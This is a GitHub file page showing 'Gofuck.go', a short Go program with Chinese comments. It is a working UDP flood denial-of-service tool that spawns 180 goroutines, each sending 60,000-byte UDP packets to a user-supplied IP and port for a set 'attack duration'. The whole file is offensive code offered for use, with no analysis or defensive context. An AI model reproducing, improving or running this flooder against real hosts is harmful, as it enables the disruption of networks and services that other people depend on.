-
Notifications
You must be signed in to change notification settings - Fork 21
Expand file tree
/
Copy pathGofuck.go
More file actions
55 lines (48 loc) · 1.17 KB
/
Gofuck.go
File metadata and controls
55 lines (48 loc) · 1.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package main
import (
"fmt"
"net"
"os"
"strconv"
"time"
)
// 定义线程数,可自定义
const THREADS = 180
func attack(ip string, port int, duration int) {
// 定义包字节,可自定义
bytes := make([]byte, 60000)
startTime := time.Now()
endTime := startTime.Add(time.Duration(duration) * time.Second)
for time.Now().Before(endTime) {
conn, _ := net.Dial("udp", fmt.Sprintf("%s:%d", ip, port))
conn.Write(bytes)
conn.Close()
time.Sleep(1 * time.Millisecond)
}
}
func countdown(remainingTime int) {
ticker := time.NewTicker(1 * time.Second)
defer ticker.Stop()
for i := remainingTime; i > 0; i-- {
fmt.Printf("\r剩余结束时间: %d秒", i)
<-ticker.C
}
fmt.Print("\r线程结束 \n")
}
func main() {
var ip string
var port int
var attackDuration int
if len(os.Args) < 4 {
fmt.Println("请准确输入参数:例 ./Gofuck <IP地址> <端口> <攻击持续时间>")
os.Exit(1)
}
ip = os.Args[1]
port, _ = strconv.Atoi(os.Args[2])
attackDuration, _ = strconv.Atoi(os.Args[3])
go countdown(attackDuration)
for i := 0; i < THREADS; i++ {
go attack(ip, port, attackDuration)
}
time.Sleep(time.Second * time.Duration(attackDuration))
}